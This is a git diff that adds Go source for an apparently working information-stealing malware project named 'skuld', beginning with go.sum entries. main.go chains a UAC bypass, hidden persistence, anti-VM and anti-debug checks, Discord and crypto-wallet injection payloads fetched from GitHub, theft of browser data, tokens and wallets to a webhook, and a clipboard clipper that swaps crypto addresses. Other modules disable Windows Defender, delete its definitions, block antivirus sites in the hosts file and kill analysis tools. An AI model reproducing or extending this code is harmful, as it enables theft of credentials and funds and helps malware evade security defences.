v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw= +github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/shirou/gopsutil/v3 v3.23.9 h1:ZI5bWVeu2ep4/DIxB4U9okeYJ7zp/QLTO4auRb/ty/E= +github.com/shirou/gopsutil/v3 v3.23.9/go.mod h1:x/NWSb71eMcjFIO0vhyGW5nZ7oSIgVjrCnADckb85GA= +github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= +github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= +github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= +github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU= +github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= +github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk= +github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= +github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw= +github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +golang.design/x/clipboard v0.7.0 h1:4Je8M/ys9AJumVnl8m+rZnIvstSnYj1fvzqYrU3TXvo= +golang.design/x/clipboard v0.7.0/go.mod h1:PQIvqYO9GP29yINEfsEn5zSQKAz3UgXmZKzDA6dnq2E= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= +golang.org/x/exp v0.0.0-20190731235908-ec7cb31e5a56 h1:estk1glOnSVeJ9tdEZZc5mAMDZk5lNJNyJ6DvrBkTEU= +golang.org/x/exp v0.0.0-20190731235908-ec7cb31e5a56/go.mod h1:JhuoJpWY28nO4Vef9tZUw9qufEGTyX1+7lmHxV5q5G4= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.18.0 h1:jGzIakQa/ZXI1I0Fxvaa9W7yP25TqT6cHIHn+6CqvSQ= +golang.org/x/image v0.18.0/go.mod h1:4yyo5vMFQjVjUcVk4jEQcU9MGy/rulF5WvUILseCM2E= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20230301163155-e0f57694e12c h1:Gk61ECugwEHL6IiyyNLXNzmu8XslmRP2dS0xjIYhbb4= +golang.org/x/mobile v0.0.0-20230301163155-e0f57694e12c/go.mod h1:aAjjkJNdrh3PMckS4B10TGS2nag27cbKR1y2BpUxsiY= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= +golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= +golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= +golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI= +lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw= +modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= +modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw= +modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= +modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= +modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= +modernc.org/libc v1.24.1 h1:uvJSeCKL/AgzBo2yYIPPTy82v21KgGnizcGYfBHaNuM= +modernc.org/libc v1.24.1/go.mod h1:FmfO1RLrU3MHJfyi9eYYmZBfi/R+tqZ6+hQ3yQQUkak= +modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.6.0 h1:i6mzavxrE9a30whzMfwf7XWVODx2r5OYXvU46cirX7o= +modernc.org/memory v1.6.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.26.0 h1:SocQdLRSYlA8W99V8YH0NES75thx19d9sB/aFc4R8Lw= +modernc.org/sqlite v1.26.0/go.mod h1:FL3pVXie73rg3Rii6V/u5BoHlSoyeZeIgKZEgHARyCU= +modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY= +modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= +modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY= +modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c= +modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg= +modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY= +modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= diff --git a/main.go b/main.go new file mode 100644 index 0000000..105f798 --- /dev/null +++ b/main.go @@ -0,0 +1,85 @@ +package main + +import ( + "github.com/hackirby/skuld/modules/antidebug" + "github.com/hackirby/skuld/modules/antivm" + "github.com/hackirby/skuld/modules/antivirus" + "github.com/hackirby/skuld/modules/browsers" + "github.com/hackirby/skuld/modules/clipper" + "github.com/hackirby/skuld/modules/commonfiles" + "github.com/hackirby/skuld/modules/discodes" + "github.com/hackirby/skuld/modules/discordinjection" + "github.com/hackirby/skuld/modules/fakeerror" + "github.com/hackirby/skuld/modules/games" + "github.com/hackirby/skuld/modules/hideconsole" + "github.com/hackirby/skuld/modules/startup" + "github.com/hackirby/skuld/modules/system" + "github.com/hackirby/skuld/modules/tokens" + "github.com/hackirby/skuld/modules/uacbypass" + "github.com/hackirby/skuld/modules/wallets" + "github.com/hackirby/skuld/modules/walletsinjection" + "github.com/hackirby/skuld/utils/program" +) + +func main() { + CONFIG := map[string]interface{}{ + "webhook": "", + "cryptos": map[string]string{ + "BTC": "", + "BCH": "", + "ETH": "", + "XMR": "", + "LTC": "", + "XCH": "", + "XLM": "", + "TRX": "", + "ADA": "", + "DASH": "", + "DOGE": "", + }, + } + + if program.IsAlreadyRunning() { + return + } + + uacbypass.Run() + + hideconsole.Run() + program.HideSelf() + + if !program.IsInStartupPath() { + go fakeerror.Run() + go startup.Run() + } + + antivm.Run() + go antidebug.Run() + go antivirus.Run() + + go discordinjection.Run( + "https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js", + CONFIG["webhook"].(string), + ) + go walletsinjection.Run( + "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar", + "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar", + CONFIG["webhook"].(string), + ) + + actions := []func(string){ + system.Run, + browsers.Run, + tokens.Run, + discodes.Run, + commonfiles.Run, + wallets.Run, + games.Run, + } + + for _, action := range actions { + go action(CONFIG["webhook"].(string)) + } + + clipper.Run(CONFIG["cryptos"].(map[string]string)) +} diff --git a/modules/.DS_Store b/modules/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..a6afbb90299a66cde322763599804e51ea01cacb GIT binary patch literal 10244 zcmeI1zityj5XNVTu@faAzW~yS1}a1(9>7FKv`8swVmrYJ*gngD5+PBz=T&$EN~CnW z0R=7M1rQbA?5?bvy&3F=0McG`Hy7_Wx4-*#_s+W}B6qYrJtQiKXcs%j_5lvc#^t=% zwp;O&E}}y|(J7r#pO!Qn4QuNBL3SWJkR8YlWCyYX|AGT}XY;nZA7Vac2eJd%fwcqt zd?>JU?8LYV(LXwH@KXT920r#1&M^=0IYo?}7*`?sR9rL69$ZXyaf;zWI?4-{BX(k3 zg&5Mwg>-VUW*28D&ex8-!pq5ZLd?hPKz5++0MFg`s7Di8&_#9ret0}6$J3C|=0T^Z z#$~tLAC-NS^6-1N|NQ!?r99nIIX$n|T;Ot*nlHgP!}`K}G_0x)-s`H3eCz9t%ME;M zrR4KZo95cTOBzeEmybXu$_=JOqtXbCV0g?Q|@aIeWFKia3?&9ctj zvIE(H?7$5;uoLPic>VtwUJ=Ic|2IIAtH=&y2mY1=uF*a29-;QQwqE1lwe|x033lFC zw+hjx;NX|z5&d#J{^9k&huB%`zqH2lPK>J%eL6Hg9Wkut|M4FKDr*$V_fTaPE@wx1 Q{-5XnG&N?s|H=IS7wl@o@c;k- literal 0 HcmV?d00001 diff --git a/modules/._antivirus b/modules/._antivirus new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/._commonfiles b/modules/._commonfiles new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/._system b/modules/._system new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/._wallets b/modules/._wallets new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/._walletsinjection b/modules/._walletsinjection new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/antidebug/._antidebug.go b/modules/antidebug/._antidebug.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/antidebug/antidebug.go b/modules/antidebug/antidebug.go new file mode 100644 index 0000000..41c529c --- /dev/null +++ b/modules/antidebug/antidebug.go @@ -0,0 +1,148 @@ +package antidebug + +import ( + "fmt" + "os" + "strings" + "syscall" + "unsafe" + + "github.com/shirou/gopsutil/v3/process" +) + +var ( + user32DLL = syscall.NewLazyDLL("user32.dll") + enumWindowsProc = user32DLL.NewProc("EnumWindows") + getWindowText = user32DLL.NewProc("GetWindowTextA") + getWindowThread = user32DLL.NewProc("GetWindowThreadProcessId") + + kernel32DLL = syscall.NewLazyDLL("kernel32.dll") + isDebugger = kernel32DLL.NewProc("IsDebuggerPresent") + debugString = kernel32DLL.NewProc("OutputDebugStringA") + procOpenProcess = kernel32DLL.NewProc("OpenProcess") + procTerminateProcess = kernel32DLL.NewProc("TerminateProcess") +) + +func terminateProcess(pid uint32) error { + handle, _, _ := procOpenProcess.Call(syscall.PROCESS_TERMINATE, 0, uintptr(pid)) + if handle == 0 { + return fmt.Errorf("failed to open process") + } + defer syscall.CloseHandle(syscall.Handle(handle)) + + ret, _, _ := procTerminateProcess.Call(handle, 0) + if ret == 0 { + return fmt.Errorf("failed to terminate process") + } + return nil +} + +func KillProcessesByNames(blacklist []string) error { + processes, _ := process.Processes() + + for _, p := range processes { + processName, _ := p.Name() + + if contains(blacklist, processName) { + terminateProcess(uint32(p.Pid)) + } + } + + return nil +} + +func getCallback(blacklist []string) uintptr { + return syscall.NewCallback(func(hwnd syscall.Handle, lparam uintptr) uintptr { + var title [256]byte + + getWindowText.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&title)), uintptr(len(title))) + + titleStr := string(title[:]) + + if titleStr == "" { + return 1 + } + + if contains(blacklist, titleStr) { + var pid uint32 + getWindowThread.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid))) + + terminateProcess(pid) + + } + return 1 + }) +} + +func KillProcessesByWindowsNames(callback uintptr) error { + enumWindowsProc.Call(callback, 0) + return nil +} + +func IsDebuggerPresent() bool { + flag, _, _ := isDebugger.Call() + return flag != 0 +} + +func outputDebugString(message string) { + debugString.Call(uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(message)))) +} + +func OutputDebugStringAntiDebug() { + outputDebugString("hm") +} + +func OutputDebugStringOllyDbgExploit() { + outputDebugString("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") +} + +func contains(slice []string, processName string) bool { + processName = strings.ToLower(processName) + + for _, s := range slice { + if strings.Contains(processName, s) { + return true + } + } + + return false +} + +func Run() { + if IsDebuggerPresent() { + os.Exit(0) + } + + blacklist := []string{ + "ksdumperclient", "regedit", "ida64", "vmtoolsd", "vgauthservice", + "wireshark", "x32dbg", "ollydbg", "vboxtray", "df5serv", "vmsrvc", + "vmusrvc", "taskmgr", "vmwaretray", "xenservice", "pestudio", "vmwareservice", + "qemu-ga", "prl_cc", "prl_tools", "cmd", + "joeboxcontrol", "vmacthlp", "httpdebuggerui", "processhacker", + "joeboxserver", "fakenet", "ksdumper", "vmwareuser", "fiddler", + "x96dbg", "dumpcap", "vboxservice", + } + + callback := getCallback([]string{ + "simpleassemblyexplorer", "dojandqwklndoqwd", "procmon64", "process hacker", + "sharpod", "http debugger", "dbgclr", "x32dbg", "sniffer", "petools", + "simpleassembly", "ksdumper", "dnspy", "x96dbg", "de4dot", "exeinfope", + "windbg", "mdb", "harmony", "systemexplorerservice", "megadumper", + "system explorer", "mdbg", "kdb", "charles", "stringdecryptor", "phantom", + "debugger", "extremedumper", "pc-ret", "folderchangesview", "james", + "process monitor", "protection_id", "de4dotmodded", "x32_dbg", "pizza", "fiddler", + "x64_dbg", "httpanalyzer", "strongod", "wireshark", "gdb", "graywolf", "x64dbg", + "ksdumper v1.1 - by equifox", "wpe pro", "ilspy", "dbx", "ollydbg", "x64netdumper", + "scyllahide", "kgdb", "systemexplorer", "proxifier", "debug", "httpdebug", + "httpdebugger", "0harmony", "mitmproxy", "ida -", + "codecracker", "ghidra", "titanhide", "hxd", "reversal", + }) + + for { + OutputDebugStringAntiDebug() + OutputDebugStringOllyDbgExploit() + + KillProcessesByNames(blacklist) + KillProcessesByWindowsNames(callback) + } +} diff --git a/modules/antivirus/antivirus.go b/modules/antivirus/antivirus.go new file mode 100644 index 0000000..1a6e0e2 --- /dev/null +++ b/modules/antivirus/antivirus.go @@ -0,0 +1,139 @@ +package antivirus + +import ( + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "syscall" + + "strings" + + "github.com/hackirby/skuld/utils/program" +) + +func Run() { + sites := []string{ + "virustotal.com", + "avast.com", + "totalav.com", + "scanguard.com", + "totaladblock.com", + "pcprotect.com", + "mcafee.com", + "bitdefender.com", + "us.norton.com", + "avg.com", + "malwarebytes.com", + "pandasecurity.com", + "avira.com", + "norton.com", + "eset.com", + "zillya.com", + "kaspersky.com", + "usa.kaspersky.com", + "sophos.com", + "home.sophos.com", + "adaware.com", + "bullguard.com", + "clamav.net", + "drweb.com", + "emsisoft.com", + "f-secure.com", + "zonealarm.com", + "trendmicro.com", + "ccleaner.com", + } + + ExcludeFromDefender() + DisableDefender() + BlockSites(sites) +} + +func ExcludeFromDefender() error { + if !program.IsElevated() { + return errors.New("not elevated") + } + path, err := os.Executable() + if err != nil { + return err + } + + cmd := exec.Command("powershell", "-Command", "Add-MpPreference", "-ExclusionPath", path) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + return cmd.Run() +} + +func DisableDefender() error { + if !program.IsElevated() { + return errors.New("not elevated") + } + + cmd := exec.Command("powershell", "Set-MpPreference", "-DisableIntrusionPreventionSystem", "$true", "-DisableIOAVProtection", "$true", "-DisableRealtimeMonitoring", "$true", "-DisableScriptScanning", "$true", "-EnableControlledFolderAccess", "Disabled", "-EnableNetworkProtection", "AuditMode", "-Force", "-MAPSReporting", "Disabled", "-SubmitSamplesConsent", "NeverSend") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + _, err := cmd.Output() + if err != nil { + return err + } + + cmd = exec.Command("powershell", "Set-MpPreference", "-SubmitSamplesConsent", "2") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + _, err = cmd.Output() + if err != nil { + return err + } + + cmd = exec.Command("cmd", "/c", fmt.Sprintf("%s\\Windows Defender\\MpCmdRun.exe", os.Getenv("ProgramFiles")), "-RemoveDefinitions", "-All") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + return cmd.Run() +} + +func BlockSites(sites []string) error { + if !program.IsElevated() { + return errors.New("not elevated") + } + + hostFilePath := filepath.Join(os.Getenv("systemroot"), "System32\\drivers\\etc\\hosts") + + data, err := os.ReadFile(hostFilePath) + if err != nil { + return err + } + + var newData []string + for _, line := range strings.Split(string(data), "\n") { + for _, bannedSite := range sites { + if strings.Contains(line, bannedSite) { + continue + } + } + newData = append(newData, line) + } + + for _, bannedSite := range sites { + newData = append(newData, "0.0.0.0 "+bannedSite) + newData = append(newData, "0.0.0.0 www."+bannedSite) + } + + d := strings.Join(newData, "\n") + d = strings.ReplaceAll(d, "\n\n", "\n") + + cmd := exec.Command("attrib", "-r", hostFilePath) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + if err = cmd.Run(); err != nil { + return err + } + if err = os.WriteFile(hostFilePath, []byte(d), 0644); err != nil { + return err + } + + cmd = exec.Command("attrib", "+r", hostFilePath) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + return cmd.Run() +} diff --git a/modules/antivm/antivm.go b/modules/antivm/antivm.go new file mode 100644 index 0000000..813840d --- /dev/null +++ b/modules/antivm/antivm.go @@ -0,0 +1,173 @@ +package antivm + +import ( + "os" + "os/exec" + "strings" + "syscall" + "unsafe" + + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" + + "golang.org/x/sys/windows/registry" +) + +func contains(slice []string, item string) bool { + for _, s := range slice { + if s == item { + return true + } + } + return false +} + +func IsTriage() bool { + const bufferSize = 260 + var buffer [bufferSize]uint16 + + ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("SystemParametersInfoW").Call( + 0x0073, + uintptr(bufferSize), + uintptr(unsafe.Pointer(&buffer[0])), + 0, + ) + if ret == 0 { + return false + } + + wallpaperPath := syscall.UTF16ToString(buffer[:]) + + fileInfo, err := os.Stat(wallpaperPath) + if err != nil { + return false + } + + if fileInfo.Size() == 24811 { + return true + } + + return false +} + +func IsBlacklistedUsername(usernames []string) bool { + return contains(usernames, os.Getenv("USERNAME")) +} + +func IsBlacklistedHostname(hostnames []string) bool { + return contains(hostnames, os.Getenv("COMPUTERNAME")) +} + +func IsBlacklistedHWID(hwids []string) bool { + hwid, err := hardware.GetHWID() + if err != nil { + return false + } + return contains(hwids, hwid) +} + +func IsBlacklistedMAC(macs []string) bool { + mac, err := hardware.GetMAC() + if err != nil { + return false + } + return contains(macs, mac) +} + +func IsBlacklistedIP(ips []string) bool { + ip, err := requests.Get("https://api.ipify.org/") + if err != nil { + return IsBlacklistedIP(ips) + } + return contains(ips, string(ip)) +} + +func IsScreenSmall() bool { + getSystemMetrics := syscall.NewLazyDLL("user32.dll").NewProc("GetSystemMetrics") + width, _, _ := getSystemMetrics.Call(0) + height, _, _ := getSystemMetrics.Call(1) + + if width < 800 || height < 600 { + return true + } + return false +} + +func IsHosted() bool { + hosted, err := requests.Get("http://ip-api.com/line/?fields=hosting") + if err != nil { + return IsHosted() + } + return strings.TrimSpace(string(hosted)) == "true" +} + +func RegistryCheck() bool { + key, err := registry.OpenKey(registry.LOCAL_MACHINE, `SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE) + if err != nil { + return false + } + defer key.Close() + value, _, err := key.GetStringValue("0") + if err != nil { + return false + } + + return strings.Contains(value, "VMware") || strings.Contains(value, "VBOX") +} + +func GraphicsCardCheck() bool { + cmd := exec.Command("wmic", "path", "win32_VideoController", "get", "name") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + gpu, err := cmd.Output() + if err != nil { + return false + } + return strings.Contains(strings.ToLower(string(gpu)), "virtualbox") || 